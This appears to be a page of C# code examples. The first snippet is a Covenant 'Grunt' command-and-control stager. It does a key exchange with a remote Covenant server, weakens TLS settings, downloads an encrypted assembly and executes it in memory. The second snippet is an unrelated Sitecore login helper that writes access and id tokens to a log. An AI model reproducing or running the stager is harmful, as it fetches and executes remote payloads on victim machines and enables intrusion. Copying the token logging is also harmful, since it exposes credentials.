                string ProfileHttpPostRequest  = @"{{REPLACE_PROFILE_HTTP_POST_REQUEST}}";
                string ProfileHttpPostResponse = @"{{REPLACE_PROFILE_HTTP_POST_RESPONSE}}";

                Random randomUrl     = new Random();
                int    Id            = Convert.ToInt32(@"{{REPLACE_GRUNT_ID}}");
                string Name          = @"{{REPLACE_GRUNT_NAME}}";
                byte[] SetupKeyBytes = Convert.FromBase64String(@"{{REPLACE_GRUNT_SHARED_SECRET_PASSWORD}}");
                string MessageFormat = @"{{ ""Id"": {0}, ""Name"": ""{1}"", ""Type"": {2}, ""IV"": ""{3}"", ""EncryptedMessage"": ""{4}"", ""HMAC"": ""{5}"" }}";

                Aes SetupAESKey = Aes.Create();
                SetupAESKey.Mode    = CipherMode.CBC;
                SetupAESKey.Padding = PaddingMode.PKCS7;
                SetupAESKey.Key     = SetupKeyBytes;
                SetupAESKey.GenerateIV();
                HMACSHA256 hmac = new HMACSHA256(SetupKeyBytes);
                RSACryptoServiceProvider rsa = new RSACryptoServiceProvider(2048, new CspParameters());

                byte[] RSAPublicKeyBytes     = Encoding.UTF8.GetBytes(rsa.ToXmlString(false));
                byte[] EncryptedRSAPublicKey = SetupAESKey.CreateEncryptor().TransformFinalBlock(RSAPublicKeyBytes, 0, RSAPublicKeyBytes.Length);
                byte[] hash = hmac.ComputeHash(EncryptedRSAPublicKey);

                string          Stage0Body = String.Format(MessageFormat, Id, Name, "0", Convert.ToBase64String(SetupAESKey.IV), Convert.ToBase64String(EncryptedRSAPublicKey), Convert.ToBase64String(hash));
                CookieWebClient wc         = new CookieWebClient();
                wc.UseDefaultCredentials = true;
                wc.Proxy             = WebRequest.DefaultWebProxy;
                wc.Proxy.Credentials = CredentialCache.DefaultNetworkCredentials;
                wc.DownloadString(CovenantURI + ProfileHttpUrls[randomUrl.Next(ProfileHttpUrls.Count)]);
                for (int i = 0; i < ProfileHttpHeaderValues.Count; i++)
                {
                    wc.Headers.Set(ProfileHttpHeaderNames[i], ProfileHttpHeaderValues[i]);
                }
                if (CovenantCertHash != "")
                {
                    ServicePointManager.SecurityProtocol = SecurityProtocolType.Ssl3 | SecurityProtocolType.Tls;
                    ServicePointManager.ServerCertificateValidationCallback = (sender, cert, chain, errors) =>
                    {
                        return(cert.GetCertHashString() == CovenantCertHash);
                    };
                }
                string transformedResponse = HttpMessageTransform.Transform(Encoding.UTF8.GetBytes(Stage0Body));
                string Stage0Response      = wc.UploadString(CovenantURI + ProfileHttpUrls[randomUrl.Next(ProfileHttpUrls.Count)], String.Format(ProfileHttpPostRequest, transformedResponse)).Replace("\"", "");
                string extracted           = Parse(Stage0Response, ProfileHttpPostResponse);
                extracted = Encoding.UTF8.GetString(HttpMessageTransform.Invert(extracted));
                string Gid = extracted.Substring(0, extracted.IndexOf(","));
                Id = Convert.ToInt32(Gid);
                string cut = extracted.Substring(Gid.Length + 1);
                Name = cut.Substring(0, cut.IndexOf(","));
                cut  = cut.Substring(Name.Length + 1);
                string iv64str = cut.Substring(0, cut.IndexOf(","));
                cut = cut.Substring(iv64str.Length + 1);
                string message64str = cut.Substring(0, cut.IndexOf(","));
                string hash64str    = cut.Substring(message64str.Length + 1);
                byte[] messageBytes = Convert.FromBase64String(message64str);
                if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes)))
                {
                    return;
                }

                SetupAESKey.IV = Convert.FromBase64String(iv64str);
                byte[] PartiallyDecrypted = SetupAESKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length);
                byte[] FullyDecrypted     = rsa.Decrypt(PartiallyDecrypted, true);

                Aes SessionKey = Aes.Create();
                SessionKey.Mode    = CipherMode.CBC;
                SessionKey.Padding = PaddingMode.PKCS7;
                SessionKey.Key     = FullyDecrypted;
                SessionKey.GenerateIV();
                hmac = new HMACSHA256(SessionKey.Key);

                byte[] challenge1         = new byte[4];
                RandomNumberGenerator rng = RandomNumberGenerator.Create();
                rng.GetBytes(challenge1);
                byte[] EncryptedChallenge1 = SessionKey.CreateEncryptor().TransformFinalBlock(challenge1, 0, challenge1.Length);
                hash = hmac.ComputeHash(EncryptedChallenge1);

                for (int i = 0; i < ProfileHttpHeaderValues.Count; i++)
                {
                    wc.Headers.Set(ProfileHttpHeaderNames[i], ProfileHttpHeaderValues[i]);
                }
                string Stage1Body = String.Format(MessageFormat, Id, Name, "1", Convert.ToBase64String(SessionKey.IV), Convert.ToBase64String(EncryptedChallenge1), Convert.ToBase64String(hash));
                transformedResponse = HttpMessageTransform.Transform(Encoding.UTF8.GetBytes(Stage1Body));
                string Stage1Response = wc.UploadString(CovenantURI + ProfileHttpUrls[randomUrl.Next(ProfileHttpUrls.Count)], String.Format(ProfileHttpPostRequest, transformedResponse)).Replace("\"", "");
                extracted    = Parse(Stage1Response, ProfileHttpPostResponse);
                extracted    = Encoding.UTF8.GetString(HttpMessageTransform.Invert(extracted));
                iv64str      = extracted.Substring(0, extracted.IndexOf(","));
                cut          = extracted.Substring(iv64str.Length + 1);
                message64str = cut.Substring(0, cut.IndexOf(","));
                hash64str    = extracted.Substring(iv64str.Length + message64str.Length + 2);

                messageBytes = Convert.FromBase64String(message64str);
                if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes)))
                {
                    return;
                }
                SessionKey.IV = Convert.FromBase64String(iv64str);

                byte[] DecryptedChallenges = SessionKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length);
                byte[] challenge1Test      = new byte[4];
                byte[] challenge2          = new byte[4];
                Buffer.BlockCopy(DecryptedChallenges, 0, challenge1Test, 0, 4);
                Buffer.BlockCopy(DecryptedChallenges, 4, challenge2, 0, 4);
                if (Convert.ToBase64String(challenge1) != Convert.ToBase64String(challenge1Test))
                {
                    return;
                }

                SessionKey.GenerateIV();
                byte[] EncryptedChallenge2 = SessionKey.CreateEncryptor().TransformFinalBlock(challenge2, 0, challenge2.Length);
                hash = hmac.ComputeHash(EncryptedChallenge2);

                for (int i = 0; i < ProfileHttpHeaderValues.Count; i++)
                {
                    wc.Headers.Set(ProfileHttpHeaderNames[i], ProfileHttpHeaderValues[i]);
                }
                string Stage2Body = String.Format(MessageFormat, Id, Name, "2", Convert.ToBase64String(SessionKey.IV), Convert.ToBase64String(EncryptedChallenge2), Convert.ToBase64String(hash));
                transformedResponse = HttpMessageTransform.Transform(Encoding.UTF8.GetBytes(Stage2Body));
                string Stage2Response = wc.UploadString(CovenantURI + ProfileHttpUrls[randomUrl.Next(ProfileHttpUrls.Count)], String.Format(ProfileHttpPostRequest, transformedResponse)).Replace("\"", "");
                extracted    = Parse(Stage2Response, ProfileHttpPostResponse);
                extracted    = Encoding.UTF8.GetString(HttpMessageTransform.Invert(extracted));
                iv64str      = extracted.Substring(0, extracted.IndexOf(","));
                cut          = extracted.Substring(iv64str.Length + 1);
                message64str = cut.Substring(0, cut.IndexOf(","));
                hash64str    = extracted.Substring(iv64str.Length + message64str.Length + 2);
                messageBytes = Convert.FromBase64String(message64str);
                if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes)))
                {
                    return;
                }

                SessionKey.IV = Convert.FromBase64String(iv64str);
                byte[]   DecryptedAssembly = SessionKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length);
                Assembly gruntAssembly     = Assembly.Load(DecryptedAssembly);
                gruntAssembly.GetTypes()[0].GetMethods()[0].Invoke(null, new Object[] { SessionKey });
            }
            catch (Exception e) { Console.Error.WriteLine(e.Message); }
        }
示例#33
0
        public WebClient GetSitecoreClient(string baseUrl, string idBaseUrl, string user, string password)
        {
            string uri = string.Format(
                "{0}/identity/externallogin?authenticationType=SitecoreIdentityServer&ReturnUrl=%2fidentity%2fexternallogincallback%3fReturnUrl%3d%26sc_site%3dshell%26authenticationSource%3dDefault&sc_site=shell",
                baseUrl);
            var webClient = new CookieWebClient();

            webClient.BaseAddress = baseUrl;

            // Disable auto redirect as ID may return an address that will not resolve within Docker network
            webClient.AllowAutoRedirect = false;

            // Initiate login
            webClient.UploadData(uri, new byte[0]);

            // Go to /connect/authorize?client_id=Sitecore&response_type=code...
            webClient.DownloadString(idBaseUrl + new Uri(webClient.LastResponseHeaders["Location"]).PathAndQuery);
            var response = webClient.DownloadString(idBaseUrl + new Uri(webClient.LastResponseHeaders["Location"]).PathAndQuery);

            string token           = ExtractParameter(response, "__RequestVerificationToken");
            string queryString     = webClient.LastResponseUri.Query;
            var    queryDictionary = HttpUtility.ParseQueryString(queryString);

            string postData =
                $"AccountPrefix=sitecore\\&ReturnUrl={HttpUtility.UrlEncode(queryDictionary["ReturnUrl"])}&__RequestVerificationToken={token}&ActiveTab=&AdvancedOptionsStartUrl=%2Fsitecore%2Fshell%2Fdefault.aspx&Username={user}&Password={password}&button=login&RememberLogin=true";

            webClient.Headers.Add("Content-Type", "application/x-www-form-urlencoded");

            // Submit a form with user and password. Identity Server returns different Uris depending on host name, that is why such condition.
            webClient.UploadData(idBaseUrl + webClient.LastResponseUri.PathAndQuery, "POST", Encoding.ASCII.GetBytes(postData));
            if (Uri.TryCreate(webClient.LastResponseHeaders["Location"], UriKind.Absolute, out Uri result))
            {
                // This fixes weird issues with URL encoding on Linux
                response = webClient.DownloadString(idBaseUrl + result.PathAndQuery.Replace("%25", "%").Replace("%3F", "?"));
            }
            else
            {
                response = webClient.DownloadString(idBaseUrl + webClient.LastResponseHeaders["Location"]);
            }

            var signInData =
                $"code={ExtractParameter(response, "code")}&id_token={ExtractParameter(response, "id_token")}&access_token={ExtractParameter(response, "access_token")}&token_type={ExtractParameter(response, "token_type")}&expires_in={ExtractParameter(response, "expires_in")}&scope={ExtractParameter(response, "scope")}&state={ExtractParameter(response, "state")}&session_state={ExtractParameter(response, "session_state")}";

            webClient.Headers.Add("Content-Type", "application/x-www-form-urlencoded");

            logger.LogInformation(signInData);

            // Send token to /identity/signin
            webClient.UploadData(
                baseUrl + "/identity/signin",
                "POST",
                Encoding.ASCII.GetBytes(signInData));

            // Get /externallogincallback?ReturnUrl=&sc_site=shell&authenticationSource=Default
            webClient.DownloadString(webClient.LastResponseHeaders["Location"]);

            // Test that it worked
            response = webClient.DownloadString("/sitecore/shell");

            logger.LogInformation(response.Substring(0, 100));

            webClient.AllowAutoRedirect = true;

            return(webClient);
        }